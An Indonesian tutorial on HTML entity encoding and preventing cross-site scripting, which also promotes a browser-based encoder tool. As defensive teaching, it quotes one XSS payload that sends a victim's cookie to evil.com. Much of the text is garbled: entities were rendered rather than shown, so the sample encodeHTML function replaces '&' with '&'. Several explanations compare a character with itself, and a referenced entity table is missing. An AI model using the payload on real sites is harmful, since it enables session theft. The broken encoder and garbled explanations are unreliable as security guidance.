Panduan Encoding Entitas HTML: Lindungi Halaman Web Anda

Jika Anda pernah mencoba menampilkan tag <div> sebagai teks di halaman web dan melihatnya menghilang ke dalam DOM, Anda sudah tahu masalahnya. Browser menginterpretasikan karakter tertentu sebagai instruksi markup, bukan konten. Entitas HTML adalah cara Anda memberi tahu browser: "tampilkan karakter ini secara literal, jangan interpretasikan."

Panduan ini mencakup entitas yang benar-benar akan Anda gunakan, kapan encoding penting, dan cara menghindari celah keamanan yang muncul ketika Anda melewatkannya.

Mengapa Entitas HTML Ada

HTML menggunakan beberapa karakter sebagai delimiter struktural. Tiga yang utama:

• < membuka tag
• > menutup tag
• & memulai referensi entitas

Ketika parser browser menemui <script>, ia tidak menampilkan teks—ia mengeksekusi JavaScript. Ketika menemui ©, ia merender ©. Sifat ganda ini berarti bahwa jika Anda ingin menampilkan karakter-karakter ini sebagai teks yang terlihat, Anda perlu meng-escape-nya menggunakan entitas HTML.

Entitas HTML adalah string yang dimulai dengan & dan diakhiri dengan ;. Di antara delimiter tersebut terdapat referensi bernama (seperti amp) atau code point numerik (seperti #38).

Referensi Entitas HTML Umum

Berikut entitas yang paling sering Anda gunakan:

Lima yang pertama wajib diketahui. Jika Anda merender konten buatan pengguna atau menampilkan kode, Anda akan terus-menerus menggunakan &, <, >, ", dan '.

Spasi Tak Terputus: Yang Halus

  mencegah pemisahan baris antara dua kata. Ini bukan sekadar "spasi tambahan"—browser menggabungkan beberapa spasi biasa menjadi satu, tetapi   selalu dirender. Gunakan untuk:

• Menjaga satuan bersama angka: 100 km
• Mencegah kata yatim di akhir paragraf
• Memformat harga: Rp 99.999

Jangan gunakan   untuk jarak layout. Itu tugas CSS margin dan padding.

Entitas Bernama vs Numerik vs Heksadesimal

Ada tiga cara menulis entitas yang sama:

<!-- Entitas bernama -->
&amp;

<!-- Entitas numerik desimal -->
&#38;

<!-- Entitas numerik heksadesimal -->
&#x26;

Ketiganya menghasilkan karakter ampersand &. Kapan menggunakan masing-masing:

Entitas bernama (&, <, ©) mudah dibaca dan self-documenting. Ketika seseorang membaca source code HTML, & langsung mengkomunikasikan maksudnya. Gunakan untuk karakter umum.

Entitas numerik desimal (&, ©) berfungsi untuk setiap code point Unicode, termasuk karakter tanpa referensi bernama. Gunakan ketika Anda membutuhkan karakter tanpa entitas bernama, atau saat menghasilkan HTML secara programatik.

Entitas heksadesimal (&, ©) sama dengan desimal tetapi menggunakan notasi heksadesimal. Berguna saat bekerja dengan tabel Unicode (yang mencantumkan code point dalam hex) atau ketika alat Anda menghasilkan nilai hex.

Dalam praktik, gunakan entitas bernama untuk yang umum dan numerik untuk sisanya. Entitas bernama didukung di semua browser dan jauh lebih mudah dibaca dalam source code.

Kapan Mengenkode Karakter HTML

Menampilkan Cuplikan Kode

Jika halaman Anda menampilkan contoh kode, setiap < dan > perlu di-encode:

<!-- Ini rusak -->
<p>Gunakan tag <div> untuk container.</p>

<!-- Ini berfungsi -->
<p>Gunakan tag &lt;div&gt; untuk container.</p>

Sebagian besar template engine dan framework menangani ini secara otomatis saat menggunakan sintaks output standar. Tapi ketika Anda menulis HTML mentah atau menyuntikkan konten dengan innerHTML, Anda sendirian.

Konten Buatan Pengguna

Semua konten dari pengguna—input formulir, komentar, field profil, kueri pencarian—harus di-encode sebelum dirender. Ini persyaratan keamanan, bukan opsional.

Email HTML

Klien email terkenal tidak konsisten dalam rendering karakter. Mengenkode karakter khusus sebagai entitas memastikan tampilan yang benar di Gmail, Outlook, Apple Mail, dan klien lainnya.

Sistem Manajemen Konten

Jika Anda membangun atau menggunakan CMS, pipeline konten harus mengenkode entitas HTML pada tahap output. Konten di database bisa mentah, tapi yang sampai ke browser harus di-escape.

Pencegahan XSS: Mengapa Encoding Adalah Masalah Keamanan

Cara Kerja XSS

Bayangkan halaman pencarian yang menampilkan apa yang dicari pengguna:

<!-- Server merender ini -->
<p>Anda mencari: INPUT_PENGGUNA</p>

Jika pengguna memasukkan teks normal seperti javascript tutorials, tidak masalah. Tapi bagaimana jika mereka memasukkan:

<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

Tanpa encoding, browser melihat tag <script> asli dan mengeksekusinya. Penyerang sekarang memiliki cookie korban, token sesi, dan berpotensi akses penuh ke akun.

Solusinya

Enkode lima karakter kritis sebelum menyisipkan data tidak terpercaya ke HTML:

Fungsi encoding minimal:

function encodeHTML(str) {
  return str
    .replace(/&/g, '&')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#39;');
}

Perhatikan urutannya: & harus diganti terlebih dahulu. Jika Anda mengganti < dulu (menghasilkan <), lalu mengganti & (mengubah < menjadi <), Anda mendapat double encoding.

Perlindungan Level Framework

Framework modern menangani encoding secara default:

• React: JSX secara otomatis meng-escape nilai dalam ekspresi {}. dangerouslySetInnerHTML melewati ini—hindari untuk konten pengguna.
• Angular: Binding template disanitasi secara otomatis. [innerHTML] melewati sanitasi.
• Vue: Sintaks mustache {{ }} meng-escape secara otomatis. v-html tidak.
• Template sisi server (EJS, Jinja2, Twig): Sebagian besar meng-escape secara default, tapi periksa konfigurasi Anda.

Polanya konsisten: jalur standar aman, dan selalu ada jalan keluar untuk HTML mentah. Jangan pernah melewatkan input pengguna melalui jalan keluar tersebut.

Enkode HTML dengan Alat Kami

Perlu mengenkode atau mendekode entitas HTML dengan cepat? Alat HTML Encoder kami menanganinya secara instan:

• Tempel teks Anda dan dapatkan output ter-encode dalam satu klik
• Mendukung semua entitas bernama dan numerik
• Mendekode entitas kembali ke teks yang dapat dibaca
• Semua diproses di sisi klien—data Anda tidak pernah meninggalkan browser

Sangat berguna untuk menyiapkan konten email HTML, mengenkode cuplikan kode untuk dokumentasi, atau mensanitasi teks sebelum menyematkannya di template.

Kesalahan Umum yang Harus Dihindari

Double encoding: Melewatkan teks melalui encoder dua kali mengubah & menjadi &. Jika Anda melihat & muncul sebagai teks literal di halaman, ada double encoding di suatu tempat dalam pipeline.

Encoding di dalam tag <script>: Encoding entitas HTML tidak berfungsi di dalam blok script. Parser JavaScript tidak memahami <—ia melihatnya sebagai string literal <. Untuk script inline, gunakan JavaScript string escaping.

Menggunakan   untuk jarak: Ini menciptakan masalah aksesibilitas. Screen reader mungkin mengucapkan setiap spasi tak terputus secara individual. Gunakan CSS untuk jarak visual.

Melupakan nilai atribut: Encoding bukan hanya untuk konten teks. Nilai atribut juga perlu encoding, terutama jika mengandung input pengguna:

<!-- Berbahaya -->
<input value="INPUT_PENGGUNA">

<!-- Aman -->
<input value="&quot;nilai&quot; ter-encode">

Referensi Cepat: Pohon Keputusan Encoding

1. Apakah kontennya buatan pengguna? → Selalu enkode
2. Apakah Anda menampilkan kode? → Enkode <, >, dan &
3. Apakah masuk ke atribut HTML? → Enkode juga " dan '
4. Apakah masuk ke URL? → Gunakan URL encoding (lihat Panduan URL Encoding kami)
5. Apakah masuk ke JavaScript? → Gunakan JavaScript escaping, bukan entitas HTML

Sumber Daya Terkait

• Penjelasan Encoding Base64 — pahami format encoding penting lainnya untuk pengembangan web
• Panduan URL Encoding — pelajari kapan dan cara percent-encode karakter di URL
• Alat HTML Encoder — enkode dan dekode entitas HTML secara instan di browser Anda

---

🛠️ Coba HTML Encoder kami untuk mengenkode dan mendekode entitas HTML langsung di browser—tanpa data dikirim ke server mana pun.